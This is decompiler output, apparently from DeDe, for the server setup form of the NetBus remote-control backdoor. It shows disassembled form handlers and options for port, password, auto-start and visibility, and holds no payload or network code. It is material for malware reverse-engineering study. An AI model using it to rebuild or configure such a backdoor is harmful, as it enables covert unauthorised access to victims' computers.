unit SvrSetup;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls, ExtCtrls;

type
  TSvrSetupForm=class(TForm)
    GroupBox1: TGroupBox;
    PortLabel: TLabel;
    Image1: TImage;
    Label1: TLabel;
    Label3: TLabel;
    Label2: TLabel;
    PortEdit: TEdit;
    LogBox: TCheckBox;
    AutoStartBox: TCheckBox;
    PasswordEdit: TEdit;
    VisibleBox: TComboBox;
    AccessBox: TComboBox;
    OKButton: TButton;
    CancelButton: TButton;
    AcceptBox: TCheckBox;
    OpenDialog1: TOpenDialog;
    procedure CancelButtonClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure FormShow(Sender: TObject);
    procedure OKButtonClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end ;

var
  SvrSetupForm: TSvrSetupForm;


{This file is generated by DeDe v2.30 (c) 1999 by DaFixer}

implementation

{$R *.DFM}


procedure TSvrSetupForm.CancelButtonClick(Sender: TObject);
begin
{
00466E64   E8A7F7FFFF             call    00466610
00466E69   C3                     ret


}
 end ; 

procedure TSvrSetupForm.FormCreate(Sender: TObject);
begin
{
00466D58   55                     push    ebp
00466D59   8BEC                   mov     ebp, esp
00466D5B   83C4E0                 add     esp, -$20
00466D5E   53                     push    ebx
00466D5F   56                     push    esi
00466D60   33C9                   xor     ecx, ecx
00466D62   894DFC                 mov     [ebp-$04], ecx
00466D65   8BD8                   mov     ebx, eax
00466D67   33C0                   xor     eax, eax
00466D69   55                     push    ebp
00466D6A   683C6E4600             push    $00466E3C

***** TRY
|
00466D6F   64FF30                 push    dword ptr fs:[eax]
00466D72   648920                 mov     fs:[eax], esp

* Possible String Reference to: "NetBus Server"
|
00466D75   B9546E4600             mov     ecx, $00466E54
00466D7A   B201                   mov     dl, $01
00466D7C   A15CA74500             mov     eax, dword ptr [$45A75C]
00466D81   E86A46FFFF             call    0045B3F0
00466D86   898304030000           mov     [ebx+$0304], eax
00466D8C   B201                   mov     dl, $01
00466D8E   A17C454600             mov     eax, dword ptr [$46457C]
00466D93   E840D8FFFF             call    004645D8
00466D98   89830C030000           mov     [ebx+$030C], eax
00466D9E   B201                   mov     dl, $01
00466DA0   A1C0E34000             mov     eax, dword ptr [$40E3C0]
00466DA5   E8DEC0F9FF             call    00402E88
00466DAA   898308030000           mov     [ebx+$0308], eax
00466DB0   8D8314030000           lea     eax, [ebx+$0314]
00466DB6   50                     push    eax

* Reference to: kernel32.InitializeCriticalSection
|
00466DB7   E8F4F9F9FF             call    004067B0

* Possible String Reference to: "NetBus Server"
|
00466DBC   BA546E4600             mov     edx, $00466E54
00466DC1   B801000080             mov     eax, $80000001
00466DC6   E861F2FFFF             call    0046602C
00466DCB   84C0                   test    al, al
00466DCD   751D                   jnz     00466DEC
00466DCF   8D55FC                 lea     edx, [ebp-$04]
00466DD2   33C0                   xor     eax, eax
00466DD4   E873BBF9FF             call    0040294C
00466DD9   8B55FC                 mov     edx, [ebp-$04]
00466DDC   8BC3                   mov     eax, ebx
00466DDE   E809FDFFFF             call    00466AEC
00466DE3   33D2                   xor     edx, edx
00466DE5   8BC3                   mov     eax, ebx
00466DE7   E85CFAFFFF             call    00466848
00466DEC   8BC3                   mov     eax, ebx
00466DEE   E81DF8FFFF             call    00466610
00466DF3   B201                   mov     dl, $01
00466DF5   A1442A4600             mov     eax, dword ptr [$462A44]
00466DFA   E895C0FFFF             call    00462E94
00466DFF   8BF0                   mov     esi, eax
00466E01   89B310030000           mov     [ebx+$0310], esi
00466E07   895E34                 mov     [esi+$34], ebx
00466E0A   C7463070654600         mov     dword ptr [esi+$30], $00466570
00466E11   8D55E0                 lea     edx, [ebp-$20]
00466E14   8BC3                   mov     eax, ebx
00466E16   E809F7FFFF             call    00466524
00466E1B   8D55E0                 lea     edx, [ebp-$20]
00466E1E   8B462C                 mov     eax, [esi+$2C]
00466E21   E822C0FFFF             call    00462E48
00466E26   33C0                   xor     eax, eax
00466E28   5A                     pop     edx
00466E29   59                     pop     ecx
00466E2A   59                     pop     ecx
00466E2B   648910                 mov     fs:[eax], edx

****** FINALLY
|

* Possible String Reference to: "^[‹å]Ã"
|
00466E2E   68436E4600             push    $00466E43
00466E33   8D45FC                 lea     eax, [ebp-$04]
00466E36   E8E1CCF9FF             call    00403B1C
00466E3B   C3                     ret

00466E3C   E917C7F9FF             jmp     00403558
00466E41   EBF0                   jmp     00466E33

****** END
|
00466E43   5E                     pop     esi
00466E44   5B                     pop     ebx
00466E45   8BE5                   mov     esp, ebp
00466E47   5D                     pop     ebp
00466E48   C3                     ret


}
 end ; 

procedure TSvrSetupForm.FormDestroy(Sender: TObject);
begin
{
00466E6C   53                     push    ebx
00466E6D   8BD8                   mov     ebx, eax
00466E6F   8B8304030000           mov     eax, [ebx+$0304]
00466E75   E83EC0F9FF             call    00402EB8
00466E7A   8B830C030000           mov     eax, [ebx+$030C]
00466E80   E833C0F9FF             call    00402EB8
00466E85   8B8308030000           mov     eax, [ebx+$0308]
00466E8B   E828C0F9FF             call    00402EB8
00466E90   8D8314030000           lea     eax, [ebx+$0314]
00466E96   50                     push    eax

* Reference to: kernel32.DeleteCriticalSection
|
00466E97   E884F7F9FF             call    00406620
00466E9C   8B8310030000           mov     eax, [ebx+$0310]
00466EA2   E811C0F9FF             call    00402EB8
00466EA7   5B                     pop     ebx
00466EA8   C3                     ret


}
 end ; 

procedure TSvrSetupForm.FormShow(Sender: TObject);
begin
{
00466604   8B90CC020000           mov     edx, [eax+$02CC]
0046660A   E8ADD3FDFF             call    004439BC
0046660F   C3                     ret


}
 end ; 

procedure TSvrSetupForm.OKButtonClick(Sender: TObject);
begin
{
00466D28   53                     push    ebx
00466D29   83C4E4                 add     esp, -$1C
00466D2C   8BD8                   mov     ebx, eax
00466D2E   33D2                   xor     edx, edx
00466D30   8BC3                   mov     eax, ebx
00466D32   E811FBFFFF             call    00466848
00466D37   8BD4                   mov     edx, esp
00466D39   8BC3                   mov     eax, ebx
00466D3B   E8E4F7FFFF             call    00466524
00466D40   8BD4                   mov     edx, esp
00466D42   8B8310030000           mov     eax, [ebx+$0310]
00466D48   8B402C                 mov     eax, [eax+$2C]
00466D4B   E8F8C0FFFF             call    00462E48
00466D50   83C41C                 add     esp, +$1C
00466D53   5B                     pop     ebx
00466D54   C3                     ret


}
 end ; 

end.
